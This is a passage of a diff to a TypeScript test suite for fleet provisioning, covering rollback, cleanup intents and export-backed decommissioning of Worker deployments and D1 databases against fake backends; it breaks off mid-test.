   it('deletes an unseeded exact-name database left by an ambiguous reserved create', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     backend.failAt = 'database';
     const store = new MemoryStore();
     const deployment = spec();
@@ -1125,7 +2079,7 @@ describe('fleet provisioning', () => {
   });
 
   it('refuses a pre-existing same-name database before create authorization', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     backend.databaseExists = true;
     backend.databaseOwner = undefined;
     const store = new MemoryStore();
@@ -1187,9 +2141,8 @@ describe('fleet provisioning', () => {
     'identity',
     'migrations',
     'worker',
-    'maintenance',
   ])('rolls back resources when %s fails', async (failure) => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     backend.failAt = failure;
     const store = new MemoryStore();
 
@@ -1204,13 +2157,22 @@ describe('fleet provisioning', () => {
     ).rejects.toBeInstanceOf(ProvisioningError);
 
     if (failure === 'identity') {
+      // Ownership was never proven, so rollback keeps the resumable row
+      // instead of admitting an engine that could not delete the database.
       expect(backend.events).not.toContain('delete-database');
       expect(store.record?.phase).toBe('database-created');
+      expect(store.receipts.size).toBe(0);
     } else {
       expect(backend.events.at(-1)).toBe('delete-database');
       expect(store.record).toBeUndefined();
+      expect([...store.receipts.values()]).toMatchObject([
+        {
+          disposition: 'prepublication-owned-no-export',
+          authority: 'provisioning-rollback',
+        },
+      ]);
     }
-    if (failure === 'maintenance') {
+    if (failure === 'worker') {
       expect(backend.events).toContain('revoke');
       expect(backend.events).toContain('delete-worker');
     }
@@ -1218,7 +2180,9 @@ describe('fleet provisioning', () => {
 
   it('passes the persisted plain-Worker release through post-deploy rollback', async () => {
     const backend = new FakeBackend('plain-worker');
-    backend.failAt = 'maintenance';
+    // Fail after the worker-deployed commit but before the maintenance flip:
+    // once maintenance was requested, rollback refuses no-export teardown.
+    backend.failAt = 'inspect';
     const store = new MemoryStore();
     const deployment = spec();
 
@@ -1273,7 +2237,9 @@ describe('fleet provisioning', () => {
       })),
     ).toEqual([
       { name: 'ARCHIVE', state: 'deleted' },
-      { name: 'FILES', state: 'detach-authorized' },
+      // The failed detachment assertion persists nothing; replay re-derives
+      // the detachment requirement from the durable 'created' state.
+      { name: 'FILES', state: 'created' },
     ]);
     expect([...backend.buckets.values()].map(({ name }) => name)).toEqual([
       'FILES',
@@ -1384,7 +2350,9 @@ describe('fleet provisioning', () => {
       })),
     ).toEqual([
       { name: 'ALBUMS', state: 'deleted' },
-      { name: 'ARCHIVE', state: 'detach-authorized' },
+      // The failed detachment assertion persists nothing; replay re-derives
+      // the detachment requirement from the durable 'created' state.
+      { name: 'ARCHIVE', state: 'created' },
     ]);
     expect([...backend.buckets.values()].map(({ name }) => name)).toEqual([
       'ARCHIVE',
@@ -1472,22 +2440,22 @@ describe('fleet provisioning', () => {
     ).rejects.toBeInstanceOf(ProvisioningError);
 
     expect(store.phases).toContain('platform-resources-deployed');
+    // The customer-data-capable external candidate is preserved whole:
+    // rollback refuses before any mutation and routes teardown to
+    // export-backed decommissioning.
     expect(backend.events).toEqual(
-      expect.arrayContaining([
-        'platform-resources',
-        'worker',
-        'revoke-platform',
-        'delete-platform',
-        'delete-database',
-      ]),
+      expect.arrayContaining(['platform-resources', 'worker']),
     );
-    expect(backend.deletedPlatformNamespaceIds).toEqual([
+    expect(backend.events).not.toContain('revoke-platform');
+    expect(backend.events).not.toContain('delete-platform');
+    expect(backend.events).not.toContain('delete-database');
+    expect(store.record?.phase).toBe('platform-resources-deployed');
+    expect(store.record?.platformResources?.stateWorker.namespaceIds).toEqual([
       'state-acme-production-MAINTENANCE',
     ]);
-    expect(store.record).toBeUndefined();
   });
 
-  it('cleans an exact private bootstrap after platform privatization fails before the resource snapshot', async () => {
+  it('preserves a private bootstrap for export-backed decommission after privatization fails before the resource snapshot', async () => {
     const backend = new FakeBackend();
     backend.failAt = 'platform-privatization';
     const store = new MemoryStore();
@@ -1507,18 +2475,15 @@ describe('fleet provisioning', () => {
       }),
     ).rejects.toBeInstanceOf(ProvisioningError);
 
+    // The private bootstrap fails before the resource snapshot commits, so
+    // the durable row never left 'application-resources-deployed'; the WFP
+    // rollback refuses no-export teardown and preserves the deployment.
     expect(backend.events).toEqual(
-      expect.arrayContaining([
-        'platform-resources',
-        'platform-privatization',
-        'revoke-platform',
-        'delete-platform',
-        'delete-database',
-      ]),
+      expect.arrayContaining(['platform-resources', 'platform-privatization']),
     );
-    expect(backend.platformBootstrapPresent).toBe(false);
-    expect(backend.databaseExists).toBe(false);
-    expect(store.record).toBeUndefined();
+    expect(backend.events).not.toContain('delete-database');
+    expect(backend.databaseExists).toBe(true);
+    expect(store.record?.phase).toBe('application-resources-deployed');
   });
 
   it('rejects external artifacts on the plain backend before creating resources', async () => {
@@ -1819,7 +2784,7 @@ describe('fleet provisioning', () => {
       backend: 'workers-for-platforms',
       environment: activeSpec.environment,
       scriptName: activeSpec.scriptName,
-      databaseId: 'database-id',
+      databaseId: DATABASE_ID,
       databaseName: activeSpec.databaseName,
       schemaVersion: 2,
       artifactVersion: 'artifact-v1',
@@ -1884,7 +2849,9 @@ describe('fleet provisioning', () => {
       decommissionDeployment({ backend, store, spec: spec() }),
     ).rejects.toThrow(/failed at export/);
     expect(backend.events).toEqual(['revoke', 'delete-worker', 'export']);
-    expect(store.record?.phase).toBe('application-resources-deleted');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'application-resources-deleted',
+    );
 
     backend.failAt = undefined;
     const result = await decommissionDeployment({
@@ -1900,7 +2867,7 @@ describe('fleet provisioning', () => {
       'delete-database',
     ]);
     expect(result.record.phase).toBe('decommissioned');
-    expect(result.databaseExport.location).toBe(backend.exportLocation);
+    expect(result.databaseExport.location).toContain(backend.exportLocation);
   });
 
   it.each([
@@ -1927,11 +2894,15 @@ describe('fleet provisioning', () => {
     backend.nonempty = true;
 
     await expect(
-      decommissionDeployment({ backend, store, spec: deployment }),
+      decommissionDeployment({
+        backend,
+        store,
+        spec: deployment,
+      }),
     ).rejects.toThrow(/not empty/u);
     expect(backend.emptyChecks).toBe(1);
     expect(backend.events).toEqual([]);
-    expect(store.record?.phase).toBe('ready');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe('ready');
 
     backend.nonempty = false;
     await expect(
@@ -1965,7 +2936,9 @@ describe('fleet provisioning', () => {
     await expect(
       decommissionDeployment({ backend, store, spec: deployment }),
     ).rejects.toThrow(/not empty/u);
-    expect(store.record?.phase).toBe('traffic-removed');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'traffic-removed',
+    );
     expect(backend.events).toEqual([]);
     expect(backend.live).toBeDefined();
     expect(backend.databaseExists).toBe(true);
@@ -2003,7 +2976,9 @@ describe('fleet provisioning', () => {
     await expect(
       decommissionDeployment({ backend, store, spec: deployment }),
     ).rejects.toThrow(/traffic removal response lost/u);
-    expect(store.record?.phase).toBe('decommissioning');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'decommissioning',
+    );
     expect(backend.removeTrafficCalls).toBe(1);
     expect(backend.events).toEqual([]);
 
@@ -2037,7 +3012,9 @@ describe('fleet provisioning', () => {
     await expect(
       decommissionDeployment({ backend, store, spec: deployment }),
     ).rejects.toThrow(/committing traffic-removed/u);
-    expect(store.record?.phase).toBe('traffic-removed');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'traffic-removed',
+    );
     expect(backend.events).toEqual([]);
 
     await expect(
@@ -2068,7 +3045,9 @@ describe('fleet provisioning', () => {
         secrets,
       }),
     ).rejects.toThrow(/publishing state is preserved/u);
-    expect(store.record?.phase).toBe('publishing');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'publishing',
+    );
     expect(backend.live).toBeDefined();
     expect(backend.databaseExists).toBe(true);
     expect(backend.buckets.size).toBe(1);
@@ -2079,7 +3058,9 @@ describe('fleet provisioning', () => {
     await expect(
       decommissionDeployment({ backend, store, spec: deployment }),
     ).rejects.toThrow(/not empty/u);
-    expect(store.record?.phase).toBe('publishing');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'publishing',
+    );
     expect(backend.events).toEqual([]);
 
     backend.nonempty = false;
@@ -2100,7 +3081,11 @@ describe('fleet provisioning', () => {
       secrets,
     });
     if (!store.record) throw new Error('missing provisioned record');
-    store.record = { ...store.record, phase: 'worker-deployed' };
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
     backend.events.length = 0;
     backend.trafficDrift = true;
 
@@ -2116,7 +3101,18 @@ describe('fleet provisioning', () => {
     expect(backend.events).toEqual([]);
     expect(backend.live).toBeDefined();
     expect(backend.databaseExists).toBe(true);
-    expect(store.record.phase).toBe('worker-deployed');
+    // The failed group leaves a durable intent for retry; remediation then
+    // resumes the same operation to its terminal receipt.
+    expect(store.record?.phase).toBe('cleanup-advancing');
+    expect(store.record?.cleanupIntent?.identity.admittedPhase).toBe(
+      'worker-deployed',
+    );
+    backend.trafficDrift = false;
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: deployment }),
+    ).resolves.toBeUndefined();
+    expect(store.record).toBeUndefined();
+    expect(store.receipts.size).toBe(1);
   });
 
   it('never deletes the database when export fails', async () => {
@@ -2175,7 +3171,11 @@ describe('fleet provisioning', () => {
     backend.events.length = 0;
 
     await expect(
-      decommissionDeployment({ backend, store, spec: deployment }),
+      decommissionDeployment({
+        backend: legacyOnlyBackend(backend),
+        store,
+        spec: deployment,
+      }),
     ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
     expect(backend.activeRelease).toEqual(activeRelease);
     expect(
@@ -2283,12 +3283,14 @@ describe('fleet provisioning', () => {
     await expect(
       decommissionDeployment({ backend, store, spec: spec() }),
     ).rejects.toThrow(/failed state write/);
-    expect(store.record?.phase).toBe('database-deleting');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'database-deleting',
+    );
     expect(backend.databaseExists).toBe(false);
 
     const findDatabaseCalls = backend.findDatabaseCalls;
     backend.databaseExists = true;
-    backend.databaseId = 'replacement-database-id';
+    backend.databaseId = REPLACEMENT_DATABASE_ID;
 
     await expect(
       decommissionDeployment({ backend, store, spec: spec() }),
@@ -2297,7 +3299,7 @@ describe('fleet provisioning', () => {
       backend.events.filter((event) => event === 'delete-database'),
     ).toHaveLength(1);
     expect(backend.databaseExists).toBe(true);
-    expect(backend.databaseIdsRead.at(-1)).toBe('database-id');
+    expect(backend.databaseIdsRead.at(-1)).toBe(DATABASE_ID);
     expect(backend.findDatabaseCalls).toBe(findDatabaseCalls);
   });
 
@@ -2318,11 +3320,13 @@ describe('fleet provisioning', () => {
       decommissionDeployment({ backend, store, spec: spec() }),
     ).rejects.toThrow(/resolved with unexpected identity/);
     expect(backend.events).toEqual([]);
-    expect(store.record?.phase).toBe('ready');
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'decommissioning',
+    );
   });
 
   it('rejects database cleanup when the persisted ID has another sentinel owner', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     const store = new MemoryStore();
     await provisionDeployment({
       initialExecutionFenceState: 'open',
@@ -2332,19 +3336,35 @@ describe('fleet provisioning', () => {
       secrets,
     });
     if (!store.record) throw new Error('missing test record');
-    store.record = { ...store.record, phase: 'worker-deployed' };
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
     backend.databaseOwner = 'other-tenant';
     backend.events.length = 0;
 
-    await expect(
-      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
-    ).rejects.toThrow(/owned by 'other-tenant'/);
-    expect(backend.events).toEqual([]);
-    expect(store.record.phase).toBe('worker-deployed');
+    // The engine reconciles the persisted database at the deletion boundary,
+    // after the absence-tolerant teardown groups; the foreign sentinel then
+    // refuses deletion and the durable intent stays resumable.
+    const failure = await cleanupDeploymentArtifacts({
+      backend,
+      store,
+      spec: spec(),
+    }).catch((error: unknown) => error);
+    expect(failure).toBeInstanceOf(AggregateError);
+    expect((failure as AggregateError).errors).toEqual([
+      expect.objectContaining({
+        message: expect.stringMatching(/owned by 'other-tenant'/),
+      }),
+    ]);
+    expect(backend.events).not.toContain('delete-database');
+    expect(backend.databaseExists).toBe(true);
+    expect(store.record?.phase).toBe('cleanup-advancing');
   });
 
   it('converges cleanup when the persisted database ID is positively absent', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     const store = new MemoryStore();
     await provisionDeployment({
       initialExecutionFenceState: 'open',
@@ -2354,7 +3374,11 @@ describe('fleet provisioning', () => {
       secrets,
     });
     if (!store.record) throw new Error('missing test record');
-    store.record = { ...store.record, phase: 'worker-deployed' };
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
     backend.databaseExists = false;
     backend.events.length = 0;
 
@@ -2363,10 +3387,13 @@ describe('fleet provisioning', () => {
     ).resolves.toBeUndefined();
     expect(backend.events).toEqual(['revoke', 'delete-worker']);
     expect(store.record).toBeUndefined();
+    expect([...store.receipts.values()]).toMatchObject([
+      { disposition: 'reservation-cleared', authority: 'manual-cleanup' },
+    ]);
   });
 
   it('does not treat a persisted-ID lookup failure as database absence', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     const store = new MemoryStore();
     await provisionDeployment({
       initialExecutionFenceState: 'open',
@@ -2376,17 +3403,30 @@ describe('fleet provisioning', () => {
       secrets,
     });
     if (!store.record) throw new Error('missing test record');
-    store.record = { ...store.record, phase: 'worker-deployed' };
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
     backend.getDatabase = async () => {
       throw new Error('D1 lookup unavailable');
     };
     backend.events.length = 0;
 
-    await expect(
-      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
-    ).rejects.toThrow(/D1 lookup unavailable/);
-    expect(backend.events).toEqual([]);
-    expect(store.record.phase).toBe('worker-deployed');
+    const failure = await cleanupDeploymentArtifacts({
+      backend,
+      store,
+      spec: spec(),
+    }).catch((error: unknown) => error);
+    expect(failure).toBeInstanceOf(AggregateError);
+    expect((failure as AggregateError).errors).toEqual([
+      expect.objectContaining({
+        message: expect.stringMatching(/D1 lookup unavailable/),
+      }),
+    ]);
+    expect(backend.events).not.toContain('delete-database');
+    expect(backend.databaseExists).toBe(true);
+    expect(store.record?.phase).toBe('cleanup-advancing');
   });
 
   it('preserves the database and resumable record when Worker cleanup fails', async () => {
@@ -2440,7 +3480,7 @@ describe('fleet provisioning', () => {
     ).resolves.toMatchObject({ record: { phase: 'ready' } });
     expect(backend.events).not.toContain('database');
     expect(backend.events).toContain('identity');
-    expect(backend.databaseIdsRead).toContain('database-id');
+    expect(backend.databaseIdsRead).toContain(DATABASE_ID);
   });
 
   it('does not delete a database after an export without integrity evidence', async () => {
@@ -2454,16 +3494,21 @@ describe('fleet provisioning', () => {
       secrets,
     });
     backend.events.length = 0;
-    backend.exportDatabase = async () => ({
-      databaseId: 'database-id',
-      location: backend.exportLocation,
-      sha256: '',
-      size: 0,
+    backend.receiptOutcomes.push({
+      status: 'fulfilled',
+      value: {
+        databaseId: DATABASE_ID,
+        location: backend.exportLocation,
+        sha256: '',
+        size: 0,
+      },
     });
 
     await expect(
       decommissionDeployment({ backend, store, spec: spec() }),
-    ).rejects.toThrow(/durable, non-empty database export/);
+    ).rejects.toThrow(
+      'bounded decommission database export result is malformed',
+    );
     expect(backend.events).not.toContain('delete-database');
   });
 
@@ -2478,17 +3523,24 @@ describe('fleet provisioning', () => {
       secrets,
     });
     backend.events.length = 0;
-    backend.exportDatabase = async () => ({
-      databaseId: 'replacement-database-id',
-      location: backend.exportLocation,
-      sha256: 'a'.repeat(64),
-      size: 42,
+    backend.receiptOutcomes.push({
+      status: 'fulfilled',
+      value: {
+        databaseId: REPLACEMENT_DATABASE_ID,
+        location: backend.exportLocation,
+        sha256: 'a'.repeat(64),
+        size: 42,
+      },
     });
 
     await expect(
       decommissionDeployment({ backend, store, spec: spec() }),
-    ).rejects.toThrow(/unexpected database 'replacement-database-id'/);
-    expect(store.record?.phase).toBe('application-resources-deleted');
+    ).rejects.toThrow(
+      'bounded decommission database export result is malformed',
+    );
+    expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe(
+      'application-resources-deleted',
+    );
     expect(backend.events).not.toContain('delete-database');
   });
 
@@ -2892,7 +3944,7 @@ describe('fleet provisioning', () => {
       }),
     ).rejects.toThrow(/already being modified/);
     releaseDatabase?.({
-      id: 'database-id',
+      id: DATABASE_ID,
       name: 'acme-production',
       created: true,
     });
@@ -2969,7 +4021,7 @@ describe('fleet provisioning', () => {
   });
 
   it('does not delete D1 when partial cleanup cannot remove the Worker', async () => {
-    const backend = new FakeBackend();
+    const backend = new FakeBackend('plain-worker');
     const store = new MemoryStore();
     await provisionDeployment({
       initialExecutionFenceState: 'open',
@@ -2979,7 +4031,11 @@ describe('fleet provisioning', () => {
       secrets,
     });
     if (!store.record) throw new Error('missing test record');
-    store.record = { ...store.record, phase: 'worker-deployed' };
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
     backend.cleanupFailAt = 'delete-worker';
     backend.events.length = 0;
 
@@ -2987,6 +4043,5673 @@ describe('fleet provisioning', () => {
       cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
     ).rejects.toThrow(/failed to clean/);
     expect(backend.events).not.toContain('delete-database');
+    expect(backend.databaseExists).toBe(true);
+    expect(store.record?.phase).toBe('cleanup-advancing');
+  });
+
+  it('rolls back a Worker this attempt created when upload scratch cleanup fails', async () => {
+    const deployment = spec({
+      egressProxyService: undefined,
+    });
+    const { backend, store, runnerCalls, state } =
+      await wranglerLoopHarness(deployment);
+    fsControl.failFleetCleanup = true;
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: deployment,
+      secrets,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as ProvisioningError).cause).toMatchObject({
+      message: expect.stringContaining(
+        'but failed to clean up the adapter credential scratch',
+      ),
+      createdByAttempt: true,
+      resourceState: 'present',
+    });
+    expect(state.workerExists).toBe(false);
+    expect(state.databaseExists).toBe(false);
+    expect(store.record).toBeUndefined();
+    expect(runnerCalls.some(([command]) => command === 'delete')).toBe(true);
+  });
+
+  it('leaves a pre-existing Worker in place when upload scratch cleanup fails', async () => {
+    const deployment = spec({
+      egressProxyService: undefined,
+    });
+    const { backend, store, runnerCalls, state } =
+      await wranglerLoopHarness(deployment);
+    state.workerExists = true;
+    state.preexistingVersion = true;
+    state.publicAccessEnabled = true;
+    fsControl.failFleetCleanup = true;
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: deployment,
+      secrets,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as ProvisioningError).cause).toMatchObject({
+      message: expect.stringContaining(
+        'but failed to clean up the adapter credential scratch',
+      ),
+      createdByAttempt: false,
+      resourceState: 'present',
+    });
+    expect(runnerCalls.some(([command]) => command === 'delete')).toBe(false);
+    expect(state.workerExists).toBe(true);
+    expect(state.databaseExists).toBe(true);
+    expect(store.record).toBeUndefined();
+  });
+
+  it('ignores cleanup for an unregistered deployment without touching the lease or backend', async () => {
+    const backend = new FakeBackend('plain-worker');
+    const store = new MemoryStore();
+
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).resolves.toBeUndefined();
+    expect(store.leaseCalls).toBe(0);
+    expect(backend.events).toEqual([]);
+    expect(backend.findDatabaseCalls).toBe(0);
+  });
+
+  it('resumes an active cleanup intent of either authority through the manual drain', async () => {
+    const backend = new FakeBackend('plain-worker');
+    backend.failAt = 'worker';
+    backend.cleanupFailAt = 'delete-worker';
+    const store = new MemoryStore();
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).rejects.toBeInstanceOf(ProvisioningError);
+    const intent = store.record?.cleanupIntent;
+    if (!intent) throw new Error('missing durable rollback intent');
+    expect(intent.authority).toMatchObject({ kind: 'provisioning-rollback' });
+    expect(store.record?.phase).toBe('cleanup-advancing');
+
+    backend.failAt = undefined;
+    backend.cleanupFailAt = undefined;
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).resolves.toBeUndefined();
+    expect(store.record).toBeUndefined();
+    // The drain resumed the persisted rollback operation instead of minting
+    // a new manual one.
+    expect(store.receipts.get(intent.operationId)).toMatchObject({
+      authority: 'provisioning-rollback',
+      disposition: 'prepublication-owned-no-export',
+    });
+  });
+
+  it('reports cleanup-advancing lifecycle phases exactly and fails closed on inconsistent pairs', () => {
+    const base: FleetRecord = {
+      tenantTag: 'acme',
+      environment: 'production',
+      backend: 'plain-worker',
+      scriptName: 'acme-production',
+      databaseId: DATABASE_ID,
+      databaseName: 'acme-production',
+      schemaVersion: 3,
+      artifactVersion: 'artifact-v1',
+      desiredSpecDigest: 'a'.repeat(64),
+      durableObjectBindings: [],
+      routeHostname: 'acme.example.test',
+      phase: 'cleanup-advancing',
+      updatedAt: '2026-08-29T00:00:00.000Z',
+    };
+    const cleanupIntent: NonNullable<FleetRecord['cleanupIntent']> = {
+      version: 1,
+      operationId: '9c7b1de2-4c8f-4b9a-8f3e-2a6d5c4b3a21',
+      revision: 0,
+      generation: 0,
+      updatedAt: base.updatedAt,
+      authority: { kind: 'manual-cleanup' },
+      identity: {
+        record: {
+          tenantTag: base.tenantTag,
+          environment: base.environment,
+          backend: base.backend,
+          scriptName: base.scriptName,
+          databaseId: base.databaseId,
+          databaseName: base.databaseName,
+          routeHostname: base.routeHostname,
+        },
+        admittedPhase: 'worker-deployed',
+        externalArtifact: false,
+      },
+      state: { step: 'teardown-traffic' },
+    };
+
+    expect(effectiveLifecyclePhase({ ...base, cleanupIntent })).toBe(
+      'cleanup-advancing',
+    );
+    expect(() => effectiveLifecyclePhase(base)).toThrow(
+      'cleanup-advancing record has no active cleanup intent',
+    );
+    expect(() =>
+      effectiveLifecyclePhase({ ...base, phase: 'ready', cleanupIntent }),
+    ).toThrow('fleet record has inconsistent cleanup intent state');
+  });
+
+  it('refuses external-candidate rollback before mutation and preserves the deployment for export-backed decommissioning', async () => {
+    const backend = new FakeBackend();
+    backend.failAt = 'maintenance';
+    const store = new MemoryStore();
+    const external = spec({
+      authoredBy: 'external',
+      durableObjectMigrations: [],
+      egressProxyService: undefined,
+    });
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: external,
+      secrets,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as ProvisioningError).cleanupErrors).toEqual([
+      expect.objectContaining({
+        message:
+          'deployment carries an untrusted data binding; use export-backed decommissioning',
+      }),
+    ]);
     expect(store.record?.phase).toBe('worker-deployed');
+    expect(store.record?.cleanupIntent).toBeUndefined();
+    expect(backend.events).not.toContain('revoke');
+    expect(backend.events).not.toContain('delete-worker');
+    expect(backend.events).not.toContain('delete-database');
+
+    // The row kept its phase, so a provisioning retry still succeeds.
+    backend.failAt = undefined;
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: external,
+        secrets,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'ready' } });
+  });
+
+  it('writes the never-authorized invocation carrier on the first durable put', async () => {
+    class FirstPutProbeStore extends MemoryStore {
+      firstPut: FleetRecord | undefined;
+
+      override async put(record: FleetRecord): Promise<void> {
+        this.firstPut ??= structuredClone(record);
+        await super.put(record);
+      }
+    }
+    const backend = new FakeBackend('plain-worker');
+    const store = new FirstPutProbeStore();
+
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    });
+
+    expect(store.firstPut?.phase).toBe('database-reserved');
+    expect(store.firstPut?.invocationAuthority).toEqual({
+      version: 1,
+      authorizedAt: null,
+    });
+    expect(typeof store.record?.invocationAuthority?.authorizedAt).toBe(
+      'string',
+    );
+  });
+
+  it('redirects provisioning of a cleanup-advancing row to the bounded cleanup drain', async () => {
+    const backend = new FakeBackend('plain-worker');
+    backend.failAt = 'worker';
+    backend.cleanupFailAt = 'delete-worker';
+    const store = new MemoryStore();
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).rejects.toBeInstanceOf(ProvisioningError);
+    expect(store.record?.phase).toBe('cleanup-advancing');
+
+    backend.failAt = undefined;
+    backend.cleanupFailAt = undefined;
+    backend.events.length = 0;
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).rejects.toThrow(
+      "deployment 'acme:production' has an active bounded cleanup; complete it with cleanupDeploymentArtifacts() or advanceCleanupDeployment() before provisioning again",
+    );
+    expect(backend.events).toEqual([]);
+
+    // Complete the cleanup, then the key reprovisions fresh.
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).resolves.toBeUndefined();
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'ready' } });
+  });
+
+  it('returns the bounded rollback outcome through ProvisioningError.cleanup when failureCleanup is bounded', async () => {
+    const backend = new FakeBackend('plain-worker');
+    backend.failAt = 'worker';
+    const store = new MemoryStore();
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+      failureCleanup: 'bounded',
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as ProvisioningError).message).toBe(
+      "failed to provision 'acme:production'",
+    );
+    expect((failure as ProvisioningError).cleanup).toMatchObject({
+      status: 'pending',
+      token: {
+        version: 1,
+        tenantTag: 'acme',
+        environment: 'production',
+        revision: 1,
+      },
+    });
+    // Exactly one bounded group advanced.
+    expect(store.record?.cleanupIntent?.state).toEqual({
+      step: 'teardown-worker',
+    });
+
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).resolves.toBeUndefined();
+    expect(store.record).toBeUndefined();
+
+    // The default drain keeps the historical error shape.
+    const drainBackend = new FakeBackend('plain-worker');
+    drainBackend.failAt = 'worker';
+    const drainStore = new MemoryStore();
+    const drainFailure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend: drainBackend,
+      store: drainStore,
+      spec: spec(),
+      secrets,
+    }).catch((error: unknown) => error);
+    expect(drainFailure).toBeInstanceOf(ProvisioningError);
+    expect((drainFailure as ProvisioningError).cleanup).toBeUndefined();
+    expect(drainStore.record).toBeUndefined();
+  });
+
+  it('commits the invocation authority durably before each candidate-invoking dispatch', async () => {
+    class FlipTimelineStore extends MemoryStore {
+      constructor(private readonly timeline: string[]) {
+        super();
+      }
+
+      override async put(record: FleetRecord): Promise<void> {
+        await super.put(record);
+        const carrier = record.invocationAuthority;
+        this.timeline.push(
+          `put:${record.phase}:${
+            carrier
+              ? carrier.authorizedAt === null
+                ? 'null'
+                : 'authorized'
+              : 'absent'
+          }`,
+        );
+      }
+    }
+
+    const plain = new FakeBackend('plain-worker');
+    const plainStore = new FlipTimelineStore(plain.events);
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend: plain,
+      store: plainStore,
+      spec: spec(),
+      secrets,
+    });
+    const timeline = plain.events;
+    const workerDeployedPut = timeline.indexOf('put:worker-deployed:null');
+    const flipPut = timeline.indexOf('put:worker-deployed:authorized');
+    // The flip never rides the worker-deployed put: that phase stays
+    // no-export-eligible until the maintenance request is authorized.
+    expect(workerDeployedPut).toBeGreaterThanOrEqual(0);
+    expect(flipPut).toBeGreaterThan(workerDeployedPut);
+    expect(flipPut).toBeLessThan(timeline.indexOf('maintenance'));
+    expect(timeline).not.toContain('put:publishing:null');
+    expect(timeline.indexOf('put:publishing:authorized')).toBeLessThan(
+      timeline.indexOf('promote'),
+    );
+    expect(timeline[0]).toBe('put:database-reserved:null');
+
+    const external = new FakeBackend();
+    const externalStore = new FlipTimelineStore(external.events);
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend: external,
+      store: externalStore,
+      spec: spec(),
+      secrets,
+    });
+    const externalTimeline = external.events;
+    // External uploads dispatch the candidate, so the flip commits before
+    // deployWorker on immutable-external backends.
+    expect(
+      externalTimeline.indexOf('put:application-resources-deployed:authorized'),
+    ).toBeLessThan(externalTimeline.indexOf('worker'));
+  });
+
+  it('aborts before dispatch when the invocation-authority flip cannot commit', async () => {
+    class FlipFailureStore extends MemoryStore {
+      failFlipOnce = true;
+
+      override async put(record: FleetRecord): Promise<void> {
+        if (
+          this.failFlipOnce &&
+          record.phase === 'worker-deployed' &&
+          typeof record.invocationAuthority?.authorizedAt === 'string'
+        ) {
+          this.failFlipOnce = false;
+          throw new Error('flip write rejected');
+        }
+        await super.put(record);
+      }
+    }
+    const backend = new FakeBackend('plain-worker');
+    const store = new FlipFailureStore();
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
